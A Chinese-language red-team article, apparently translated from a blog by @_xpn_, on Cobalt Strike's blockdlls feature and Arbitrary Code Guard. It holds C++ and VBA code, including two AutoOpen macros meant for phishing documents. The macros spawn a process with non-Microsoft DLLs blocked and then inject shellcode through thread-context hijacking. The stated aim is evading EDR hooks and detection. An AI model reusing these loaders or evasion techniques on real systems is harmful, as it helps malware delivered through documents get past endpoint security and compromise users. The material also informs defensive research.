0x00 前言
最新版的Cobalt Strike中添加了blockdlls
命令,該命令可以避免生成的進(jìn)程加載非微軟簽名的DLL,從而達(dá)到保護(hù)效果。這種方法可以阻止端點(diǎn)安全產(chǎn)品通過DLL加載用戶模式代碼,避免安全產(chǎn)品hook可疑函數(shù)并報告可疑操作。
經(jīng)過一番討論并在推特上探討該命令的實(shí)現(xiàn)原理后,有小伙伴提出問題,想了解是否能不依賴Cobalt Strike來使用這種技術(shù),因此在本文中我將進(jìn)一步探索該功能,向大家介紹blockdlls
的內(nèi)部工作原理、如何使用該方法在beacon啟動前保護(hù)惡意軟件,也探索了是否有其他進(jìn)程安全選項(xiàng),可以幫助我們防御端點(diǎn)安全產(chǎn)品的監(jiān)聽機(jī)制。
0x01 blockdlls原理
Cobalt Strike從3.14版本開始引入blockdlls
,該功能可以避免加載非微軟簽名的DLL,用來保護(hù)由beacon生成的任何子進(jìn)程。為了利用該功能,我們可以在某個活動session上使用blockdlls
命令生成子進(jìn)程(比如我們可以使用spawn
命令):
一旦子進(jìn)程成功生成,我們可以通過ProcessHacker之類的工具查看子進(jìn)程的保護(hù)狀態(tài):
設(shè)置該標(biāo)志后,如果某個未經(jīng)微軟簽名的DLL想載入當(dāng)前進(jìn)程,就會出現(xiàn)錯誤,我們可以看到比較詳細(xì)的出錯信息,如下所示:
那么Cobalt Strike如何實(shí)現(xiàn)該功能呢?如果我們分析CS beacon程序,可以找到其中引用了UpdateProcThreadAttribute
:
值為0x20007
的Attribute
參數(shù)實(shí)際上對應(yīng)的是PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
,而0x100000000000
參數(shù)值對應(yīng)的是PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
。因此這里Cobalt Strike的處理邏輯就是配合STARTUPINFOEX
結(jié)構(gòu)體來使用CreateProcess
?API,該結(jié)構(gòu)體中包含防御策略,可以用來阻止未經(jīng)微軟簽名的DLL。
如果我們想在自己的工具中重新實(shí)現(xiàn)該代碼,我們可以如下代碼來完成:
#include <Windows.h>
int main()
{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size = 0;
BOOL ret;
// Required for a STARTUPINFOEXA
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
// Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
// Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
// Initialise our list
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Enable blocking of non-Microsoft signed DLLs
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// Assign our attribute
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Finally, create the process
ret = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
}
現(xiàn)在我們已經(jīng)知道Cobalt Strike對該功能的內(nèi)部實(shí)現(xiàn)原理,但在實(shí)際滲透過程中,可能任意一個DLL就可以給我們造成阻礙。這里我們來看一下典型的釣魚場景,在該場景中,我們嘗試通過啟用宏的文檔來投遞Cobalt Strike beacon:
紅色區(qū)域?yàn)槲词?code>blockdlls保護(hù)的進(jìn)程,而在藍(lán)色區(qū)域?yàn)榻?jīng)過Cobalt Strike保護(hù)所生成的子進(jìn)程。這里我們顯然會面臨一些風(fēng)險,比如安全產(chǎn)品可以將DLL載入紅色區(qū)域進(jìn)程中,從而監(jiān)控我們的行為。
然而,如果我們使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
選項(xiàng),就可以縮小這里的防護(hù)空白區(qū)域。在這個場景中,我們是在Word文檔上下文中處理最初的payload,因此我們可以考慮將相應(yīng)代碼移植到VBA中:
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1000
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(offset)
result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
Next offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub
正確使用后,我們可以縮小未經(jīng)保護(hù)的區(qū)域,將訪問范圍限制到最初的執(zhí)行向量中,從而減少被檢測到的風(fēng)險:
但現(xiàn)在Word進(jìn)程還在紅色區(qū)域中,如何處理?其實(shí)我們有各種方法,比如,我們可以使用ProcessSignaturePolicy
參數(shù)來調(diào)用SetMitigationPolicy
,這樣就能在運(yùn)行時引入防護(hù)策略,也就是說不需要通過CreateProcess
來重新執(zhí)行。然而在這個時間節(jié)點(diǎn),很可能有些DLL在我們的VBA運(yùn)行之前已經(jīng)加載到Word的地址空間中,如果我們想進(jìn)一步控制該進(jìn)程,觸發(fā)某些可疑的API調(diào)用,就可能增加被檢測到的風(fēng)險。
大家可能會好奇標(biāo)題中的ACG(Arbitrary Code Guard)是什么意思,這里稍微介紹下,ACG是另一種緩解機(jī)制,可以阻止代碼修改以及/或者分配內(nèi)存中的可執(zhí)行頁面。
為了實(shí)際演示這種緩解策略效果,我們可以創(chuàng)建一個小程序,嘗試使用SetMitigationPolicy
來添加ACG,測試幾個用例:
#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>
int main()
{
STARTUPINFOEX si;
DWORD oldProtection;
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
ZeroMemory(&policy, sizeof(policy));
policy.ProhibitDynamicCode = 1;
void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");
// Set our mitigation policy
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
printf("[!] SetProcessMitigationPolicy failed\n");
return 0;
}
// Attempt to allocate RWX protected memory (this will fail)
mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");
// Let's also try a VirtualProtect to see if we can update an existing page to RWX
if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWXn", ntAllocateVirtualMemory);
}
else {
printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
}
}
如果編譯并執(zhí)行該P(yáng)OC,我們可以看到如下輸出結(jié)果:
這里可以看到,當(dāng)使用SetProcessMitigationPolicy
后,如果嘗試在內(nèi)存中分配一個RWX頁面就會出現(xiàn)錯誤,此外如果想調(diào)用VirtualProtect
來修改內(nèi)存保護(hù)時也會出錯,這一點(diǎn)與我們的預(yù)期相符。
那么我們?yōu)樯缎枰狝CG?這是因?yàn)橛行┣闆r下,EDR注入的DLL的確經(jīng)過微軟簽名,比如@Sektor7Net就提到過Crowdstrike Falcon包含這樣一個DLL,該DLL并不會受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
所影響:
許多EDR產(chǎn)品經(jīng)常會在用戶空間hook一些有趣的函數(shù)(大家可以參考我之前關(guān)于Cylance的一篇分析文章)。由于hook操作通常需要修改已有的可執(zhí)行頁面,因此需要使用VirtualProtect
之類的調(diào)用來更新內(nèi)存保護(hù)。如果我們能夠阻止這些產(chǎn)品創(chuàng)建RWX內(nèi)存頁面,我們有可能迫使經(jīng)過微軟簽名的DLL無法成功加載。
為了能在我們的VBA代碼中實(shí)現(xiàn)這種技術(shù),我們只需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
選項(xiàng),即可啟動這種保護(hù):
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1010
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For Offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(Offset)
result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
Next Offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub
這種方法對保護(hù)我們生成的進(jìn)程非常有用,但如果我們希望將我們自己的代碼注入受ACG保護(hù)的某個進(jìn)程該如何處理?我經(jīng)常聽到一種誤解,就是我們無法將代碼注入被ACG保護(hù)的進(jìn)程,因?yàn)槲覀冃枰蓪懬铱蓤?zhí)行的某種內(nèi)存才能完成該操作。然而實(shí)際上ACG并不會阻止遠(yuǎn)程進(jìn)程調(diào)用,比如VirtualAllocEx
之類的函數(shù)。
比如,如果我們使用一些簡單的shellcode來啟動cmd.exe
,然后將shellcode代碼注入受ACG保護(hù)的某個進(jìn)程,我們可以看到這些操作能順利執(zhí)行:
需要注意的是,由于需要依賴分配內(nèi)存頁面并將頁面修改為RWX狀態(tài),因此目前這種方法無法適用于Cobalt Strike beacon。我嘗試過通過其他選項(xiàng)來繞過這個限制(主要是各種userwx選項(xiàng)),但目前修改內(nèi)存似乎還需要滿足可寫且后續(xù)可執(zhí)行狀態(tài)。
在將這些技術(shù)應(yīng)用到實(shí)際環(huán)境中前,我們還需要考慮這種方式可能會對我們的操作安全性造成哪些影響。比如,如果我們開始生成任意進(jìn)程,然后全部使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
來保護(hù)這些進(jìn)程,那么防御方可能會注意到突然出現(xiàn)的隨機(jī)進(jìn)程竟然已經(jīng)部署了一些防護(hù)策略。
為了澄清如何更好地應(yīng)用這種技術(shù),我們需要枚舉已有的哪些進(jìn)程帶有策略。現(xiàn)在我們可以使用Get-ProcessMitigation
Powershell cmdlet來返回注冊表中定義的所有策略,然而我們知道有其他方法能夠在運(yùn)行時對進(jìn)程啟動保護(hù)機(jī)制,比如SetMitigationPolicy
?API,我們也可以通過CreateProcessA
來簡單生成任意進(jìn)程(如前文所述)。
為了確保我們能夠正確處理每個進(jìn)程,我們可以構(gòu)造一個簡單的工具,使用GetProcessMitigationPolicy
來識別已部署的策略:
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);
void GetProtection(int pid, const char *exe) {
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;
HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (pHandle == INVALID_HANDLE_VALUE) {
printf("[!] Error opening handle to %d\n", pid);
return;
}
// Actually retrieve the mitigation policy for ACG
if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
return;
}
if (dynamicCodePolicy.ProhibitDynamicCode) {
printf("[%s] - ProhibitDynamicCode\n", exe);
}
if (dynamicCodePolicy.AllowRemoteDowngrade) {
printf("[%s] - AllowRemoteDowngrade\n", exe);
}
if (dynamicCodePolicy.AllowThreadOptOut) {
printf("[%s] - AllowThreadOptOut\n", exe);
}
// Retrieve mitigation policy for loading arbitrary DLLs
if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
printf("Could not enum PID %d\n", pid);
return;
}
if (signaturePolicy.AuditMicrosoftSignedOnly) {
printf("[%s] AuditMicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.AuditStoreSignedOnly) {
printf("[%s] - AuditStoreSignedOnly\n", exe);
}
if (signaturePolicy.MicrosoftSignedOnly) {
printf("[%s] - MicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.MitigationOptIn) {
printf("[%s] - MitigationOptIn\n", exe);
}
if (signaturePolicy.StoreSignedOnly) {
printf("[%s] - StoreSignedOnly\n", exe);
}
}
int main()
{
HANDLE snapshot;
PROCESSENTRY32 ppe;
HANDLE accessToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
printf("[!] Error opening process token\n");
return 1;
}
// Provide ourself with SeDebugPrivilege to increase our enumeration chances
SetPrivilege(accessToken, SE_DEBUG_NAME);
// Prepare handle to enumerate running processes
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("[!] Error: CreateToolhelp32Snapshot\n");
return 2;
}
ppe.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &ppe);
do {
// Enumerate process mitigations
GetProtection(ppe.th32ProcessID, ppe.szExeFile);
} while (Process32Next(snapshot, &ppe));
}
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))
{
printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
return TRUE;
}
在我的Windows 10測試環(huán)境中運(yùn)行該程序后,我找到了已部署防護(hù)措施的幾個進(jìn)程,如下所示:
這些進(jìn)程大多屬于Edge有關(guān),這非常正常,但我們也有其他一些可選項(xiàng),比如fontdrvhost.exe
及dllhost.exe
,這些進(jìn)程可以作為目標(biāo)。
希望本文能給大家提供一些思路,拓展生成并注入payload的方法,如果在實(shí)際環(huán)境中仔細(xì)使用,我相信這種技術(shù)能給防御方造成不少困擾。